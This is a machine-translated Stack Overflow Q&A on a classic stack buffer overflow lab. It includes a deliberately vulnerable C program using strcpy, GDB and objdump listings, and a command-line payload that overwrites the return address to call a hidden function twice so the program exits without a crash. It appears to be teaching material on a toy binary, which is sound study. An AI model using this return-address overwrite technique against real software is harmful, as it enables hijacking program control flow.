为了我的研究,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为“目标”的“ secret ”函数
这是我用于在 i686 上测试的代码
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
任务 1:创建有效负载以便调用 target()。 通过将 EIP 替换为目标函数的地址,这很容易做到。
这是缓冲区的样子
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
我使用的负载是:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
这工作正常但因段错误而停止。
任务 2:以不会出现段错误的方式修改负载
这就是我卡住的地方。显然它会导致段错误,因为我们没有使用 call 指令调用目标,因此没有有效的返回地址。
我试图在堆栈上添加返回地址,但这没有帮助
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
也许有人可以帮我解决这个问题。可能我还必须添加保存的 main 的 EBP?
附上程序的objdump
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <puts@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <vulnerable>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 28 sub $0x28,%esp
8048497: 8b 45 08 mov 0x8(%ebp),%eax
804849a: 89 44 24 04 mov %eax,0x4(%esp)
804849e: 8d 45 e8 lea -0x18(%ebp),%eax
80484a1: 89 04 24 mov %eax,(%esp)
80484a4: e8 97 fe ff ff call 8048340 <strcpy@plt>
80484a9: c9 leave
80484aa: c3 ret
080484ab <main>:
80484ab: 55 push %ebp
80484ac: 89 e5 mov %esp,%ebp
80484ae: 83 e4 f0 and $0xfffffff0,%esp
80484b1: 83 ec 10 sub $0x10,%esp
80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484b8: 75 12 jne 80484cc <main+0x21>
80484ba: 8b 45 0c mov 0xc(%ebp),%eax
80484bd: 83 c0 04 add $0x4,%eax
80484c0: 8b 00 mov (%eax),%eax
80484c2: 89 04 24 mov %eax,(%esp)
80484c5: e8 c7 ff ff ff call 8048491 <vulnerable>
80484ca: eb 0c jmp 80484d8 <main+0x2d>
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp)
80484d3: e8 58 fe ff ff call 8048330 <printf@plt>
80484d8: b8 00 00 00 00 mov $0x0,%eax
80484dd: c9 leave
80484de: c3 ret
80484df: 90 nop
最佳答案
你需要足够的数据来填充'buffer'所在堆栈的保留内存,然后更多的数据来覆盖堆栈帧指针,然后用target()
的地址覆盖返回地址然后是 target()
中的另一个地址,但不是在函数的最开始 - 输入它,这样旧的堆栈帧指针就不会被压入堆栈。这将导致您运行 target 而不是从 vulnerable()
正确返回,然后再次运行 target()
因此您从 target()
返回到 main()
并在没有段错误的情况下退出。
当我们第一次进入vulnerable(),准备放入数据时 进入“缓冲区”变量,堆栈如下所示:
-----------
| 24-bytes of local storage - 'buffer' lives here
-----------
| old stack frame pointer (from main) <-- EBP points here
-----------
| old EIP (address in main)
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
所以从“缓冲区”的地址开始,我们需要放入 24 字节的垃圾 通过堆栈上保留的本地存储,然后再获取 4 个字节 越过存储在堆栈中的旧堆栈帧指针,那么我们就在 旧 EIP 存储的位置。那就是CPU盲目遵循的指令指针。我们喜欢他。他会帮助我们粉碎这个计划。我们用通过 gdb 找到的 target() 的起始地址覆盖当前指向 main() 中地址的堆栈中旧 EIP 的值 反汇编命令:
(gdb) disas target
Dump of assembler code for function target:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x18,%esp
0x0804842a <+6>: movl $0x8048554,(%esp)
0x08048431 <+13>: call 0x8048354 <puts@plt>
0x08048436 <+18>: leave
0x08048437 <+19>: ret
End of assembler dump.
target()函数的地址是0x08048424。由于(至少我的系统)系统是小端的,我们首先使用 LSB 输入这些值,因此 x24、x84、x04 和 x08。
但这给我们留下了一个问题,因为当 vulnerable() 返回时,它会全部弹出 我们放入堆栈的垃圾从堆栈中取出,我们剩下一个堆栈 当我们正要在 target() 中处理时看起来像这样 第一次:
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
所以当 target() 想要返回时,它不会在 如预期的那样位于其堆栈顶部,因此将出现段错误。
所以我们想在我们之前强制一个新的返回值到栈顶 在 target() 中开始处理。但是选择什么值呢?我们不想插入 EBP 因为它包含垃圾。记住?当我们覆盖“缓冲区”时,我们将垃圾插入其中。因此,而是在
之后推送 target() 指令推 %ebp
(在本例中为地址 0x08048425)。
这意味着当 target() 准备好返回时,堆栈看起来像这样 第一次:
-----------
| address of mov %esp, %ebp instruction in target()
-----------
| top of stack for main
-----------
| ... more stack here ...
因此,在第一次从 target() 返回时,EIP 现在将指向 target() 中的第二条指令,这意味着我们第二次通过 target() 进行处理时,它与 main() 具有相同的堆栈处理的时候。栈顶与 main() 的栈顶相同。现在堆栈看起来像:
-----------
| top of stack for main
-----------
| ... more stack here ...
所以当 target() 第二次返回时,它有一个很好的堆栈可以返回 因为它使用与 main() 使用的相同的堆栈,所以程序正常退出。
所以总结起来就是 28 字节后跟 target() 中第一条指令的地址,后跟 target() 中第二条指令的地址。
sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>
关于c - 利用缓冲区溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36302917/